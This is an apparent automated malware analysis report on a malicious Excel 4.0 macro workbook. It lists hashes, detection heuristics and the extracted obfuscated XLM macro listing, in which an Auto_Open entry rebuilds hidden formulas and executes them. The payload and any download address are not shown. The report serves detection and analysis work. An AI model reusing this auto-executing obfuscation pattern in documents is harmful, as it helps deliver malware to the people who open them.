Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 09833a7d8dedc721…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-25 10:38:38 Authoring application: Microsoft Excel First seen: 2020-12-25
MD5: 44d2d01f94a6d4e5595d9c38dd7f55ef SHA-1: 40a44a6caa5700888879c8094590be9d7401d8aa SHA-256: 09833a7d8dedc721570e7d2baa696bb2e8e401074840561f174b021bb0f02cd3
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6535 bytes
SHA-256: 41c95b10cb4ad78a8aa3e5317ba7a0723ed29e3115b7dafdb088439951468a5a
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  RHLeQ
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!D179 
' 0018     22 LABEL : Cell Value, String Constant - AywWIzJ len=0 
' 0018     21 LABEL : Cell Value, String Constant - cCNSMA len=0 
' 0018     22 LABEL : Cell Value, String Constant - dlSQZAf len=0 
' 0018     21 LABEL : Cell Value, String Constant - dySqmD len=0 
' 0018     25 LABEL : Cell Value, String Constant - GFTpChvWng len=0 
' 0018     22 LABEL : Cell Value, String Constant - ikWuQPD len=0 
' 0018     20 LABEL : Cell Value, String Constant - iUYVh len=0 
' 0018     22 LABEL : Cell Value, String Constant - jtXHzQv len=0 
' 0018     27 LABEL : Cell Value, String Constant - jyAlphVGOGKW len=0 
' 0018     26 LABEL : Cell Value, String Constant - LgfVBUfPYcH len=0 
' 0018     21 LABEL : Cell Value, String Constant - OLVUyE len=0 
' 0018     25 LABEL : Cell Value, String Constant - RAqoWWqmKu len=0 
' 0018     23 LABEL : Cell Value, String Constant - uyhlIkxl len=0 
' 0018     24 LABEL : Cell Value, String Constant - vQCZJJRnA len=0 
' 0018     27 LABEL : Cell Value, String Constant - vzHEPMKgEjXa len=0 
' 0018     22 LABEL : Cell Value, String Constant - wDwYpWC len=0 
' 0018     24 LABEL : Cell Value, String Constant - WKmQkVELr len=0 
' 0018     20 LABEL : Cell Value, String Constant - wtjov len=0 
' 0018     27 LABEL : Cell Value, String Constant - XACeKWtGtRTg len=0 
' 0018     23 LABEL : Cell Value, String Constant - xIQFIdim len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  RHLeQ,D94,"SET.NAME("OLVUyE",VALUE("0"))",""
'  RHLeQ,D99,"SET.NAME("dlSQZAf",OLVUyE)",""
'  RHLeQ,D101,"SET.NAME("xIQFIdim",OLVUyE)",""
'  RHLeQ,D105,"SET.NAME("wtjov",COUNTA(uyhlIkxl))",""
'  RHLeQ,D109,"SET.NAME("vzHEPMKgEjXa",COUNTA(vQCZJJRnA))",""
'  RHLeQ,D111,[],""
'  RHLeQ,D114,"SET.NAME("cCNSMA","")",""
'  RHLeQ,D119,"dlSQZAf",""
'  RHLeQ,D121,"SET.NAME("jyAlphVGOGKW",HLOOKUP("*",uyhlIkxl,dlSQZAf,FALSE))",""
'  RHLeQ,D125,"iUYVh",""
'  RHLeQ,D130,"SET.NAME("LgfVBUfPYcH",OLVUyE)",""
'  RHLeQ,D134,[],""
'  RHLeQ,D137,"LgfVBUfPYcH",""
'  RHLeQ,D140,"WKmQkVELr",""
'  RHLeQ,D142,"AywWIzJ",""
'  RHLeQ,D147,"jtXHzQv",""
'  RHLeQ,D152,"SET.NAME("RAqoWWqmKu",VALUE(HLOOKUP("*",vQCZJJRnA,jtXHzQv,FALSE)))",""
'  RHLeQ,D154,"dySqmD",""
'  RHLeQ,D157,"cCNSMA",""
'  RHLeQ,D159,"xIQFIdim",""
'  RHLeQ,D161,NEXT(),""
'  RHLeQ,D165,"GFTpChvWng",""
'  RHLeQ,D169,"SET.NAME("f",INT(T(FORMULA(T(cCNSMA)&"",""&T(GFTpChvWng)))))",""
'  RHLeQ,D172,"wDwYpWC",""
'  RHLeQ,D175,NEXT(),""
'  RHLeQ,D177,RETURN(),""
'  RHLeQ,D207,"SET.NAME("ikWuQPD",D94)",""
'  RHLeQ,D209,"uyhlIkxl",""
'  RHLeQ,D211,"SET.NAME("vQCZJJRnA",R58C15)",""
'  RHLeQ,D214,"SET.NAME("wDwYpWC",225)",""
'  RHLeQ,D219,"SET.NAME("XACeKWtGtRTg",4)",""
'  RHLeQ,D224,ikWuQPD(),""
'  RHLeQ,D225,HALT(),""

Open this report in the interactive analyzer, or submit your own file for analysis.